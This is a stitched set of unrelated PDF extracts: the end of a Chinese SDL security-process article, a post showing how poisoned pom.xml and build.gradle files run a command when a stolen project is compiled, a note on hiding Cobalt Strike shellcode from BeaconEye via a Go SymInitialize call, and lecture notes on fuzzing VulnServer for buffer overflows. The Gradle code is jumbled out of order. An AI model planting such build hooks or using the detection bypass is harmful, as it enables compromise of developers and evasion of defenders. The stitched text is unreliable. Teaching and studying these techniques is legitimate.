描系统也需要优化,覆盖率需要考虑,准确率也需要琢磨。简而言之,大致可
以从以下三个方面进行考虑:
1)安全开发语言覆盖面
开发技术栈的多元化,带来最直接的问题便是覆盖面。安全开发规
范、静态代码扫描都需要由最开始的 cover 主流语言,扩展到公司第
二、第三…主流语言。在资源受限的情况下引入一些开源工具应对不同
的语言审计,或许是个必要的选择。
我的安全视界观 aerfa
2)静态代码审计系统误报
几乎所有的互联网公司都是追求“宁可漏报,不可误报”,由于发布量特
别大不得不这样。然而在传统行业里,开发模式可能还是瀑布模式,对各个环
节的误报要求难以媲美互联网公司,但是减少误报率也是十分必要的。对于使
用商业版(破解了也算)的代码审计工具而言,其规则难以调整,故可以在扫
描的结果上进行优化,比如要求开发仅解决 Critical、High 级别的漏洞,甚至
是可以具体到两种级别中的具体漏洞类型。
3)第三方开源组件技术检测手段
使用已知漏洞的组件,在最近两次的 OWASP Top 10 中均上榜,由此见
得其重要程度。目前在市面上还很少出现专门的检测工具,商业版的几款静态
代码扫描器有所涉及,但未能试用对比。目前而言,稍微较好一点的方法可能
是使用 OWASP 提供的 Dependency-Check,有如下特点:
支持 Maven、Jenkins 等集成
支持 Java、.Net
漏洞信息来源于 nvd
我的安全视界观 aerfa
检测规则为特征匹配(类似工具基本都是该原理)
7 安全测试
SDL 可视作为软件安全方面的纵深防御,到了测试阶段也就代表着软件架
构与设计已经定型、第三方开源组件的引用已基本不太可能改变、前面各环节
的漏网安全 bug 已迎来最后一次发布前的检测。
7.1 安全目标
在我的最初实践中,SDL 的发展和很多公司一样:由最开始的安全测试发
展而来,一步步将安全前置,并保留系统发布上线前设置的卡点。不过已经将
安全检查内容丰富化,把安全设计 checklist、静态代码扫描、web 漏洞扫描与
人工安全测试的结果纳入检查,原则上各项均合格达标才能发布上线。
7.2 安全活动
在测试阶段,安全活动主要围绕安全报告验收、人工安全测试、漏洞验证
开展。
安全培训
安全需求
安全设计
安全开发
安全测试
安全审核
安全响应
安全报告验收
人工安全测试
安全漏洞验证
我的安全视界观 aerfa
1)报告验收
要求业务方将安全设计 checklist 自检报告、静态代码扫描报告、web 漏
洞扫描报告纳入安全提测工单中,待安全测试人员进行检查并通过后进行人工
安全测试,各项的安全标准可参照:
开发阶段
安全活动
输出物
安全标准
设计阶段
安全设计自检
安全设计 checklist 自检报告
无不符合项
编码阶段
静态代码扫描
静态代码扫描报告
无设定的高危漏洞
测试阶段
Web 漏洞扫描
Web 漏洞扫描报告
无高中危漏洞
人工安全测试
TODO
无高中危漏洞
值得注意的是需要设置抽查和复测机制,防止业务方有意或无意的提供不
符合实际的报告,包括安全活动实施范围、安全活动结果。
2)人工测试
待各项安全报告均验收通过后,进行人工安全测试。在自动化验收和自动
化安全测试之前,该活动往往会成为整个流程中压力最大和最易造成阻塞的
点。据了解,部分公司会选择性进行人工安全测试;有的会针对特有的常见问
安全
测试
报告
验收
人工
测试
漏洞
验证
我的安全视界观 aerfa
题进行专项安全测试,比如仅测试越权漏洞…;有的会通过堆人进行较为全面
的人工安全测试,比如内部没有 hc 就让很多外包驻场。
3)漏洞验证
人工安全测试往往是进一步提高软件的安全质量,发现之前各环节遗留的
安全漏洞,包括但不限于:越权类漏洞、安全配置错误类漏洞、API 返回过多
敏感信息类漏洞、重要场景重放攻击以及常见的较为隐蔽 web 漏洞。然而同样
重要的,还有推动安全漏洞修复,再次验证直至修复闭环。
7.3 安全实践
1)安全提测信息
测试环境一致:确保待测系统与生产环境一样,是保证安全测试质量
的基础,但往往却较难实现。
测试环境可访问:由于网络 ACL 限制等因素导致安全测试人员一时不
能访问,也是常见的一种现象,将安全测试时间花费在环境的准备上
比较可惜。
测试账号提供:待测系统通常会有不同权限的账号,如果业务方不能
完整提供,可能会导致越权、SQLi、信息泄露等常见安全 bug 漏测。
测试范围确定:指明安全提测类型是全量还是增量,如果是增量需要
说明新增功能点至关重要,可提升安全测试的速度并保证一定的安全
质量。
解决安全提测信息中可能遇到的各类问题,可以通过规范提测信息填写要
求、提测信息核对处理流程、设置专人校对(刚入门不久的外包、实习生等)
来解决。
2)安全测试思路
安全测试用例:在实现自动化安全测试前,沉淀一份具有本公司特
我的安全视界观 aerfa
点、集成团队成员测试技能的安全测试用例,变得十分有必要。首
先,一定程度上能弥补团队成员因能力层次不齐而导致的安全测试质
量不一,再者可以为实现自动化提供高命中规则;其次,可提供给新
人快速上手,帮助新人成长至胜任安全测试工作;最后,对外输出给
测试团队,赋能测试团队减轻安全团队的压力。
安全测试工具:被动测试工具,在团队内部越来越收到青睐,特别是
面对多工单任务繁重的场景。将针对性强检测的插件集成到
BurpSuite,进行被动式扫描,不失为一种简单高效的方法。
安全测试方法论:标准的安全测试流程不能督促团队成员去标准作
业,亦不能弥补团队成员的能力差异。自动化安全测试,或许是解决
这些问题的最佳方案。
3)安全漏洞管理
漏洞的产生到修复离不开安全人员和业务方,然而串联起他们之间的便是
漏洞的管理流程和扭转状态。前者需要流程管理系统来支持,比如 jira;后者
需要自定义漏洞状态以及状态改变的触发动作,整个环节最终目标就是让漏洞
被及时修复。
我的安全视界观 aerfa
7.4 持续优化
安全测试自动是行业一致追求的目标,有效检出漏洞的同时较少人力投入。
但在实现自动化前,还有半自动化、标准化可以选择,借助一些开源或现成的
工具快速进行安全测试工作,往往也会有不错的效果。
7.5 培训案例
安全测试,最容易上手的我想应该是测试人员,基础技能知识相似,只需
要改变一下思路,便可实现转型。以下是给测试团队培训过的几页培训材料,
以及简短的课程大纲:
我的安全视界观 aerfa
8 安全审核
在本环节中,已经不再涉及到 SDL 中的“工具”,转而到“流程”。产品
发布前的最后一道关卡,做最终的安全验收。无论是否能满足安全质量要求,
产品均有可能发布上线,但一定得有兜底的措施。
8.1 安全目标
对于符合安全部门要求的产品,放行发布上线;对不符合安全要求的产
品,理论上则不允许上线。然而在实际的场景中,业务和安全孰轻孰重一直是
热议的话题,即使是在大型互联网公司也会存在部分业务优先。但在放行不达
标产品前,需要将安全风险降低和安全责任抛出,并制定一系列的第二或第三
安全培训
安全需求
安全设计
安全开发
安全测试
安全审核
安全响应
最终安全评审
安全绿色通道
我的安全视界观 aerfa
选择安全方案进行兜底,切实起到公司安全投入有产出、安全赋能产品的初
衷。
8.2 安全活动
在发布审核阶段,安全活动主要围绕最终安全评审、安全绿色通道开展。
1)最终安全评审
最终安全评审内容包括:安全设计 checklist 自检报告、静态代码扫描报
告、web 漏洞扫描报告、人工安全测试(前三项在安全测试阶段已经完成
check,且为人工安全测试的充分条件),以及人工安全测试发现的高中危漏
洞是否有遗留。
2)安全绿色通道
面对不同情况下的“业务优先”,安全部门需要预留特殊通道为不符合安
全要求的产品做好准备。此时,需要关注以下三点:
制定漏洞修复计划:指定漏洞整改责任人,并明确完成漏洞修复的时
间点,交由项目管理人员跟进
发布审核
最终安
全评审
安全绿
色通道
我的安全视界观 aerfa
明确已知安全风险:对业务方声明已知安全漏洞可能带来的风险与隐
患,并要求其确认造成的损失或影响由业务方承担
报备上级领导审批:将上述两点进行详细描述,发送邮件上报业务方
领导备案,请求“带病”上线
8.3 安全实践
1)简单的最终安全审核
上线前的安全审核,往往会提前开始于测试阶段进行,到发布上线前的审
核工作相对简单很多,比如仅看该项目是否包含安全提测工单、安全提测是否
通过。除此之外,审核后需要手工或自动配置域名转发、边界防火墙映射等,
故这部分工作一般由非安全测试人员负责,最终安全评审实际意义上也就是最
终安全审核。
2)绿色通道具体流程
在实际的产品研发中,无论是因为产品经理没有预留足够的时间,还是发
我的安全视界观 aerfa
现漏洞较多或修复成本较大,难以在一定时间内修复,总会碰到申请绿色通
道。一般有以下流程:
报备:产品经理根据安全测试结果,制定漏洞修复计划和时间,须明
确“漏洞 1 - 开发 A - xx 时间”完成修复,并声明由已知安全漏洞带
来的风险由业务方自己承担,发送邮件给业务方老大请求批准,并抄
送安全部和项目管理报备
审批:须由业务方老大在明确风险后,敲定最终是否上线
放行:安全审核人员在收到业务方老大批准的邮件后,点击安全通过
按钮,进入后续发布环节
上线:随即产品在基础防护范围内上线,比如配置 https、只允许经过
waf 后访问等基础安全防护。
8.4 持续优化
该环节的需要关注点在已知风险告知,难点在遗留漏洞跟进闭环,可能存
在绕过的点在安全审核。其中需要优化和加强的便是安全审核,建立一定的机
制进行 check,确定业务方是否:
有意识或无意识的使用历史安全提测单,蒙混过关
报备
审批
放行
上线
我的安全视界观 aerfa
暂时悄悄的修改漏洞状态为已修复,强行安全达标
在线系统功能迭代或更新,不走 SDL 相关流程…
然而,最终安全审核是否被“旁路”,很大程度上取决于现有的研发流程。
因为 SDL 并不是要求业务方一起来玩一套新的流程,而是在现有研发流程中适
当加入必要的安全活动。针对已经存在的问题和难题,如果从流程上难以解决,
可以通过立规矩、技术手段发现特例、依据进行处罚等方式进行补强。然而,
这些都不是一蹴而就,需要循序渐进的发现和优化。
9 安全响应
漏洞总是在不断的涌现,即使是前面的各项安全活动中均已达标,产品在
上线后依旧会面临新增漏洞的攻击。对于安全风险的警觉和发现能力以及渠
道,需要逐步建立并完善、运营。
9.1 安全目标
在传统软件开发生命周期中,与技术相关的最后一阶段是响应,微软在该
阶段所推崇的安全活动为执行事件响应计划。在实际落地时,可针对响应的渠
道进行扩展,比如从漏洞预警信息监测、从 SRC 接收到产品相关的漏洞信息等
入手;也可将被动式接收产品漏洞信息,转变为每季度进行漏洞扫描,主动发
现已上线产品的漏洞并进行安全响应。
对于已发生的信息安全事件,则需要按照预先设定好的应急响应手册进行
事件处置,此处不做展开。
9.2 安全活动
在安全响应阶段,安全活动主要围绕安全事件响应、季度漏洞扫描、安全
安全培训
安全需求
安全设计
安全开发
安全测试
安全审核
安全响应
安全事件响应
季度漏洞扫描
安全威胁预警
我的安全视界观 aerfa
威胁预警开展。
1)安全事件响应
此处的安全事件响应较为狭义,主要是指产品由于存在安全漏洞或缺陷导
致的被攻击、业务受影响等事件的应急处置。发现的手段除了直接监测产品异
常、安全设备上的攻击类告警,还有从 SRC、POC 等平台上接收到的漏洞。
2)季度漏洞扫描
在线产品的定期漏洞扫描十分有必要,可持续发现产品中由于功能变更、
扫描描器规则更新等带来的新漏洞。较为常见的做法是黑盒扫描,选择合适的
时间使用商业或自研的扫描器对目标系统进行扫描。通常会有一些比较棘手的
问题,比如非登录扫描发现较少有价值的漏洞,登录扫描实现起来难度不小且
很可能对线上环境带来脏数据、造成服务中断等影响。
3)安全威胁预警
针对公司产品的技术架构、第三方组件名称与版本、使用的框架等资产信
息进行有效的漏洞预警,可以将该部分的安全变为主动。通过对 CVE 漏洞、
安全
响应
事件
响应
季度
漏扫
威胁
预警
我的安全视界观 aerfa
CNVD 漏洞库、国内外安全公司的安全风险通告监测,适时发现相关的漏洞信
息以作出相应措施。
9.3 安全实践
1)对外接收漏洞响应
目前绝大多数非自主发现的漏洞都来源于 SRC,由此见得 SRC 作为企业对
外接收漏洞渠道的重要程度与必要性。在接收到漏洞并进行处理时,有几项工
作需要注意:
漏洞响应时间:这是对安全人员的 SLA 要求,针对不同风险等级的漏
洞设置不一样的处置时间,处置动作包括:验证漏洞、同步漏洞至漏
洞管理系统、指定漏洞修复人、推动漏洞修复等。
漏洞修复时间:根据漏洞的不同风险等级制定完成修复时间,此处的
修复由于是生产环境中,所以会比安全测试阶段发现漏洞要求修复的
时间短。自漏洞响应开始计时:
漏洞复盘工作:通过漏洞信息反推至日常的安全工作中,主要体现在
安全测试、安全防护、安全运营三方面:
安全测试:是否经过安全测试才上线、安全测试时为什么没有发现、
漏洞扫描器规则是否有覆盖
安全防护:漏洞地址是否在安全资产管理平台、是否有检测到白帽子
的 payload
漏洞响应
设置不同处置时间
漏洞验证
漏洞同步
SLA
处置动作
严重
1小时内下
线或修复
高危
12小时完成
内修复
中危
24小时内完
成修复
低危
3个工作日
内完成修复
我的安全视界观 aerfa
安全运营:经过综合分析后对漏洞进行定级,并判断作为安全事件进
行通报
2)线上系统漏洞扫描不足与坑点
生产环境的定期巡检扫描,可以解决工具能力级别的安全漏洞,避免被白
帽子提交简单的漏洞及被监管单位进行扫描时通报。同时,还面临着扫描效果
的挑战与带来线上安全事故的风险。需要不断完善扫描器规则,并在扫描前做
好相关人员的知会工作。
扫描效果:定期的扫描工作可能由于扫描规则没有新增、安全防护等
因素导致难以发现漏洞。针对扫描规则方面,可以通过不断新增扫描
规则进行完善,若是商业漏扫,则可以通过交叉使用不同的扫描器进
行加强;对于安全防护,可以在防护设备上设置白名单或通过内网进
行扫描,既需要在开启防护策略时扫描,也需要畅通无阻无防护状态
下的扫描。
安全风险:线上环境的功能设计不合理、业务逻辑不合常规等问题,
很可能导致扫描器工作时,产生大量的垃圾数据或直接造成系统功能
受影响甚至不可用。在扫描前,邮件通知到资产责任人、ops、安全设
备管理人员是必要的步骤,以便于正确处理扫描产生的恶意流量与发
生事故后第一时间能恢复。
3)漏洞预警渠道与处置机制
安全测试
是否经过安
全提测
安全测试未
发现原因
漏扫规则是
否能覆盖
安全防护
漏洞IP是否在
安全资产平台
是否检测到白
帽子payload
安全运营
漏洞定级处置
我的安全视界观 aerfa
关于漏洞的预警,需要在了解公司资产的情况下开展才能全面、高效、准
确基础上,进行评估后再启动内部的预警与处置。
资产管理:普遍存在的难题之一,但是对于漏洞预警方面不得不去面
对这个刺头,唯有把它当做日常工作开展才会有好的结果。借用领导
的一句话“平时多流汗,应急少流血”
漏洞渠道:常见的漏洞渠道有 Twitter、CVE 漏洞平台、CNVD 漏洞
平台、奇安信 cert 等,自动化的监测并告警到相关责任人,及时响应
并作出预判。
处置流程:通常包括接收预警、评估影响、启动预警、漏洞跟进、验
证总结等流程。其中,评估影响范围与漏洞跟进较为难做,涉及到很
多因素,比如资产所处网络环境(内/外网)、资产的重要程度(核心/
一般资产)、预警漏洞的风险等级(高危/中危/低危)、利用难易程度
(难/简单)、找不到漏洞修复责任人等。
启动预警:根据漏洞的影响评估结论,对内部发布公告或邮件通知,
其内容可包括漏洞描述、风险等级、影响范围(版本)、处置建议、
参考链接。
9.4 持续优化
作为 SDL 的最后一环节,不再是具体到某一个产品针对性的开展安全活动,
我的安全视界观 aerfa
而是通用的、常规进行安全运营。漏洞预警处置中的漏洞推修落实情况,一直
是公认头疼的事情。先不说漏洞是否在不影响生产环境下完美修复,就连存在
漏洞的资产有哪些可能都梳理不全,这也反映出资产安全管理、漏洞管理的痛
点,属于较为综合类的难题。介入安全运营的思路,把能发现的资产先推修,
持续地发现问题并把能发现的问题都解决,终将迎来不菲的成绩。
10 最后的话
我的最初实践就此告一段落,一个系列的终结想必也是另一个系列的开始。
不过在新的开始前,仍需要一段时间的沉淀、思考与总结。希望读者可以通过
阅读本文获得一点帮助,希望我的最初实践能吸引更多的同行交流、成长、分
享。
10.1
与我交流
期待更多的沟通,可加我进行交流:
(微信号:aerfa21) (公众号:我的安全视界观)
此外,专门建立了 SDL 专属交流微信群,进群交流请私信:
入群需验证:姓名-公司-SDL
入群请须知:仅讨论 SDL 相关话题、仅分享 SDL 相关材料
拒绝伸手党、斗图党、开车党以及抱着心态进来学习(潜水)党 | pdf |
author:pen4uin
time:2021/11/13
别想用我源码:针对源码泄露的反制思路(仅供娱乐)
目录
0x01 起
0x02 承
0x03 转
Maven
Gradle
0x04 合
0x01 起
自从看了@DriverTom师傅写的这篇文章后,
给我带来的感受就是,关于攻防演练的“潜规则”就只剩下
0x02 承
之前在fofa的帮助“捡到”了几套源码
同时,也从github从git clone了很多工具的源码(java)进行review 学习,但是在IDEA初次打开的时候,
相信大家对下面这个弹窗不会陌生
我不知道你们的选择是什么,我之前都是毫不在意地Trust Project,然后使用maven打包运行。
但是针对这个小细节,不由心生疑惑:“这个潜意识的操作有被反制的可能吗?”
0x03 转
这里只测试经常遇到了的两种Java项目构建工具,提供思路,其他的可自行测试。
Maven
测试如下:
源码
demo.java
pom.xml
public class demo {
public static void main(String[] args) {
System.out.println("Hacked By Yourself !");
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>rceDemo</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>7</maven.compiler.source>
<maven.compiler.target>7</maven.compiler.target>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>1.1.1</version>
<executions>
<execution>
<id>some-execution</id>
<phase>compile</phase>
<goals>
<goal>exec</goal>
</goals>
</execution>
</executions>
<configuration>
<executable>calc</executable>
弹计算器
Gradle
测试如下:
源码
build.gradle
</configuration>
</plugin>
</plugins>
</build>
</project>
plugins {
id 'java'
}
group 'org.example'
version '1.0-SNAPSHOT'
repositories {
mavenCentral()
}
dependencies {
settings.gradle
0x04 合
其实关于漏洞产生的本质—“Untrusted Data From Outside”,不仅适用于各种网站、各种软件,也
同样适用于我们自己。
水这篇文章虽有供娱乐的目的,但同时也是给自己提个醒儿,以后在这些方面还是留意一下,别栽了”跟
头“!
至于如何提升杀伤力真正达到反制的效果,我不会,我是废物。
testImplementation 'org.junit.jupiter:junit-jupiter-api:5.7.0'
testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine:5.7.0'
}
task demo(type: Exec){
commandLine 'cmd', '/c', 'calc'
}
rootProject.name = 'gradleRce'
参考
https://qastack.cn/programming/3491937/i-want-to-execute-shell-commands-from-mavens-
pom-xml
https://cloud.tencent.com/developer/ask/59734 | pdf |
BeaconEye绕过小记
应L.N.大佬的邀请写一下绕过的复现过程。
最近C2开发群内都在讨论关于cs绕过内存检测的话题。
在今天下午首先是看到了这样一个绕过手段:
希望大佬能讲讲原因。
虽然我也不知道啥意思,总之感觉很厉害就去复现了。
刚好最近在整理关于golang调用api的东西
具体golang调用的代码如下
SymInitialize api如果执行成功会返回为true
加入这一段后就还是常规的alloc -> write -> execute加载stageless shellcode.
然后上线了:
Dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
SymInitialize := Dbghelp.NewProc("SymInitialize")
r1,r2,err := SymInitialize.Call(
pHndl,
0,
1,
)
fmt.Println(r1)
fmt.Println(r2)
fmt.Println(err)
if r1 != 1 {
fmt.Println("SymInitialize failed: ", syscall.GetLastError())
}
绕过了:
惊呆了。 | pdf |
!
1!
WRITING!YOUR!FIRST!EXPLOIT!
LECTURE!NOTES!
!
Robert!Olson!
Lecturer!
Dept.!of!Computing!&!Info!Sciences!
SUNY!at!Fredonia!
[email protected]!
@nerdprof!
https://github.com/nerdprof/Writing-Your-First-Exploit!
!
!
!
!
!
1. Laboratory!Setup!
a. Virtual)Machines)
i. Windows!VM!
!
!
!
!
A!Windows!virtual!machine!can!be!downloaded!from!the!!
!
!
!
following!link:!
!
!
!
https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/!
!
!
!
!
!
!
!
!
Note:!Some!students!reported!problems!when!using!a!!
!
!
!
Windows!10!virtual!machine!during!the!Circle!City!Con!2016!!
!
!
!
workshop.!
!
ii. Kali!VM!
!
!
!
!
Kali!Linux!–!or!a!Kali!Linux!virtual!machine!-!can!be!!
!
!
!
!
downloaded!from:!
!
!
!
https://www.kali.org/downloads/!
!
b. Software)Installs)
i. Downloading!VulnServer!on!Windows!VM!
!
!
!
!
VulnServer!can!be!downloaded!at:!
!
!
!
http://www.thegreycorner.com/2010/12/introducing-vulnserver.html!
!
ii. Downloading!Immunity!on!Windows!VM!
!
!
!
!
Immunity!Debugger!can!be!downloaded!at:!
!
!
!
http://debugger.immunityinc.com/ID_register.py!
!
!
2!
iii. Downloading!mona.py!on!WindowsVM!
!
!
!
!
The!mona.py!script!can!be!downloaded!from:!
!
!
!
https://github.com/corelan/mona/blob/master/mona.py!
!
!
!
!
Once!downloaded,!it!should!be!placed!at:!
!
!
!
!
C:\Program!Files\Immunity!Inc\Immunity!Debugger\PyCommands!
!
iv. Downloading!arwin.exe!on!Windows!Vm!
!
!
!
!
The!arwin!application!can!be!downloaded!from:!
!
!
!
http://www.fuzzysecurity.com/tutorials/expDev/tools/arwin.rar!
!
2. Buffer!Overflows!in!C!
a. Simple)C)Programming)
i. Printf!
!
!
!
!
!
printf()!is!a!function!that!prints!data!to!the!screen,!often!using!!
!
!
!
substitution!symbols.!
!
!
!
!
printf(“Hello”);)would!print!Hello!to!the!screen!while!the!lines:!
!
!
!
!
char)name[5])=)“Rob”;)
)
)
)
printf(“Hello)%s”,)name);)
)
!
!
!
would!cause!Hello)Rob!to!be!printed!to!the!screen.!
!
!
!
!
ii. Strcpy!
!
!
!
!
strcpy()!is!a!function!that!copies!one!character!array!into!!
!
!
!
another.!!This!function!does!not!check!that!the!size!of!the!!
!
!
!
destination!in!relation!to!the!size!of!the!source.!If!the!source!!
!
!
!
material!takes!up!more!space!than!the!destination,!the!copy!!
!
!
!
will!still!occur!and!the!excess!data!will!be!written!past!the!end!!
!
!
!
of!the!destination.!
!
b. Buffer)Overflow)Example)
i. simpleoverflow.c!
!
c. Function)Calls)&)The)Stack)
i. The!stack!after!a!function!call!
!
!
!
!
The!term!stack!refers!to!a!section!of!a!program’s!memory!that!!
!
!
!
is!statically!allocated.!The!same!amount!of!memory!will!be!!
!
!
!
allocated!in!the!same!way!each!time!the!program!is!run.!!!
!
3!
!
!
!
The!program’s!stack!is!divided!up!into!a!local!stack!for!each!!
!
!
!
function!in!the!program.!A!function’s!local!stack!will!be!created!
!
!
!
and!destroyed!in!the!same!way!each!time!the!program!is!run.!
!
!
!
!
Variables!on!the!stack!are!referenced!in!terms!of!an!offset!to!!
!
!
!
the!base!of!a!function’s!stack.!The!base!of!a!function’s!stack!can!!
!
!
!
be!found!in!a!register!known!as!the!base)pointer)register)or!ebp.!
!
!
!
In!the!pseudo-code!below,!the!offset!of!the!variable!x!would!be!!
!
!
!
0!as!it!is!the!first!variable!on!the!function’s!stack.!That!is,!the!!
!
!
!
location!of!x)on!the!stack!could!described!as!ebp)+)0)bytes.!If!we!!
!
!
!
assume!integers!are!four!bytes!long,!the!offset!to!the!next!!
!
!
!
variable!–!a!character!named!c!–!would!be!4.!Similarly,!if!we!!
!
!
!
assume!that!characters!are!one!byte!long,!the!offset!of!z!would!!
!
!
!
be!5.!
!
!
!
!
When!a!function!!is!called!-!like!function!f!is!inside!of!main!!
!
!
!
below)–)control!will!be!transferred!to!function!f.!However,!the!!
!
!
!
main!function!still!needs!to!complete.!Main!must!be!resumed!at!
!
!
!
instruction!I1!with!the!local!stack!in!tact.!As!such,!the!address!!
!
!
!
of!I1!and!an!address!pointing!at!the!base!of!main’s!local!stack!!
!
!
!
must!be!saved!prior!to!transferring!control!to!the!function!f.!If!!
!
!
!
the!address!of!I1!is!not!saved,!main)cannot!resume.!If!the!base!!
!
!
!
pointer!is!not!saved,!main)cannot!resume!with!access!to!the!!
!
!
!
same!data!it!had!before!the!function!call!to!f.!
!
!
!
!
g(){)
)
)
)
)
int)x)
)
)
)
)
char)c)
)
)
)
)
int)z)
)
)
)
)
some)code)
)
)
)
)
<I3>)
)
)
)
)
more)code)
)
)
)
})
)
)
)
)
f(){)
)
)
)
)
some)code)
)
)
)
)
g())
)
)
)
)
<I2>)
)
)
)
)
some)code)
)
)
)
})
)
)
)
)
main())
)
)
)
{)
)
)
)
)
f())
)
)
)
)
<I1>)
)
)
)
})
!
4!
!
!
!
At!the!point!I3,!the!program’s!stack!would!resume!the!! !
!
!
!
following!diagram.!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
ii. Overwriting!Saved!Register!Values!
!
!
!
!
Because!each!!variable!“faces!away”!from!the!base!of!the!stack,!!
!
!
!
data!put!into!Z!will!be!written!towards!the!base!of!the!stack.!In!!
!
!
!
the!above!diagram,!it!is!relatively!easy!to!observe!the!!
!
!
!
!
consequences!of!overflowing!the!contents!of!Z.!Excess!data!!
!
!
!
from!Z!will!overflow!into!c!and!x.!If!enough!data!is!put!it,!it!will!!
!
!
!
even!overflow!into!the!control!information!saved!during!the!!
!
!
!
function!call.!
!
!
!
!
This!is!the!goal!of!a!buffer!overflow!exploit.!Want!to!put!so!!
!
!
!
much!data!into!a!vulnerable!variable!that!it!overflows!over!the!!
!
!
!
return!address.!Once!we!can!predict!where!that!return!address!
!
!
!
is,!we!can!place!the!address!of!a!jump!instruction!that!will!!
!
!
!
redirect!program!execution!to!our!payload!once!g()!finishes.!!
!
!
!
We!are!basically!hijacking!the!stack!surrounding!the!function!!
!
!
!
call!to!g()!to!ensure!execution!of!our!payload.!
!
!
!
!
Base!pointer!of!f’s!local!stack!
Address!of!I2!
f’s!local!stack!
Base!pointer!of!main’s!local!stack!
Address!of!I1!
Main’s!local!stack!
Created!when!
control!is!
transferred!to!
g()!
Z!
C!
X!
Created!when!
control!is!
transferred!to!
f()!
!
5!
!
3. Simple!Socket!Programming!in!Python!
a. Basic)script)structure)
i. import)
)
)
)
)
The!import!command!will!load!a!library.!We!will!be!using!the!!
!
!
!
socket!and!sys!libraries.!
)
ii. Indentation!carries!semantic!content)
)
)
)
)
Tabs!in!Python!serve!the!same!function!as!curly!braces!do!in!!
!
!
!
many!other!programming!languages:!the!specify!the!!
!
!
!
!
instructions!to!be!included!in!the!body!of!a!control!structure.!
)
b. socket.socket())
)
!
The!line:!
!
!
)
conn)=)socket.socket(socket.AF_INET,)socket.SOCK_STREAM))
!
!
creates! an! instance! of! type! socket! named! conn.! The! constant!
socket.AF_INET)indicates!that!it!will!be!an!IPv4!socket.!The!constant!
socket.SOCK_STREAM!indicates!that!it!will!be!a!TCP!socket.!
)
c. socket.connect())
)
!
The!line:!
!
!
)
conn.connect((“192.168.1.2”,)80))!
!
!
causes!an!instance!of!type!socket!to!initiate!a!three-way!handshake!
with!the!specified!IP!and!port.!Note!that!the!specified!IP!is!a!string!
while! the! specified! port! is! an! integer.! Also! note! the! double! set! of!
parentheses;!the!connect!function!expects!one!argument!–!an!ordered!
pair.!
)
)
d. socket.recv())
)
)
!
The!line:!
!
)
)
conn.recv(1024)!
!
!
will! attempt! to! read! 1024! bytes! of! data! from! the! socket.! This! is! a!
blocking!read;!the!script!will!hang!until!1024!bytes!have!been!read!or!
until!a!null!character!–!indicating!the!end!of!a!buffer!–!has!been!read.!!
!
6!
)
)
e. Writing)a)banner)grabber)
i. See!bannergrabber.py)
)
4. !Useful!Socket!Programming!in!Python!
a. sys.argv)
)
)
)
A!developer!can!get!command!line!arguments!from!a!user!by!making!!
!
!
use!of!the!sys!library.!!sys.argv[]!is!an!array!of!data!retrieved!from!the!!
!
!
command!line.!!
!
!
!
If!I!ran!python)print_name.py)Rob)6,!sys.argv[0]!would!be!!
!
!
!
print_name.py.!sys.argv[1]!would!be!Rob!and!sys.argv[2]!would!be!6.!
!
!
!
Note!that!all!data!!
)
b. for)loops)
)
)
)
All!for-loops!specify!the!value!the!loop!starts!at,!the!value!the!loop!!
!
!
terminates!at,!and!the!increment.!In!python,!the!syntax!is:!
!
!
!
for)i)in)range(0,)10):)
)
)
)
print!“Hello!Rob”!
!
c. socket.settimeout())
)
)
)
The!.settimeout()!allows!the!programmer!to!specify!the!maximum!!
!
!
number!of!seconds!before!a!socket!throws!a!timeout!exception.!!
!
!
Example:!conn.settimeout(5)!
)
d. try/except)
i. Syntax)
)
)
)
)
)
)
)
try:)
)
)
)
)
some)code)
)
)
)
except:)
)
)
)
)
code)to)execute)on)any)error)
)
)
)
)
)
)
OR!
!
!
!
!
try:)
)
)
)
)
some)code)
)
)
)
except)socket.timeout:)
)
)
)
)
code)to)execute)on)socket)timeout)error)
)
!
7!
ii. socket.error!
!
!
!
!
This!error!is!thrown!when!a!connected!socket!receives!an!RST.!
!
iii. socket.timeout!
!
!
!
!
!
!
This!error!is!thrown!after!a!socket!waits!for!some!number!of!!
!
!
!
seconds!without!receiving!data.!
!
e. Writing)a)port)scanner!
i. See!port-scanner.py!
5. Fuzzing!
a. socket.send())
)
)
)
The!.send()!function!transmits!data!over!an!already!connected!socket.!!
!
!
It!is!up!to!the!destination!to!process!that!data!appropriately.!
!
!
!
For!example,!conn.send(“Rob)6”))!would!send!a!five!character!! !
!
!
sequence!to!the!destination.!
)
b. Interacting)with)a)network)service)
)
)
)
Most!network!service!commands!have!the!following!syntax:!
!
!
!
<command>!<argument>\r\n!
)
)
)
For!example,!specifying!a!user!over!SMTP!uses!the!user)command:!
!
!
!
user)rob\r\n)
)
!
!
)
)
)
c. Fuzzing)
)
)
)
Fuzzing!is!the!process!of!trying!incrementally!more!malicious!input!!
!
!
until!the!application!crashes.!In!the!case!above,!one!could!fuzz!the!!
!
!
SMTP!user!command!to!provoke!a!buffer!overflow!by!trying!longer!!
!
!
and!longer!usernames:!
!
!
!
!
for)i)in)range(0,)10000,)10):)
)
)
)
badname=”A”)*)i)
)
)
)
conn.send(“user)%s\r\n”)%)badname))
)
)
)
This!will!try!usernames!(of!all!As)!between!length!0!and!length!10000!!
!
!
at!increments!of!10.!
)
!
8!
d. Writing)a)fuzzer)
i. We!will!be!fuzzing!the!TRUN!command!on!vulnserver.!Note!
that!TRUN!is!only!vulnerable!to!a!buffer!overflow!when!the!
command’s!argument!is!prefaced!with!a!period.)
ii. See!fuzzer.py)
e. Observing)a)crash)in)Immunity)
)
)
)
While!observing!a!crash!in!Immunity,!you!want!to!pay!attention!to!the!
!
!
eip!value.!This!will!indicate!what!part!of!your!malicious!input!is!!
!
!
overwriting!the!saved!instruction!address!on!the!stack.!When!the!!
!
!
vulnerable!function!returns,!your!malicious!input!will!removed!from!!
!
!
the!stack!and!loaded!into!the!instruction!pointer!as!if!it!were!a!real!!
!
!
instruction’s!address.)
)
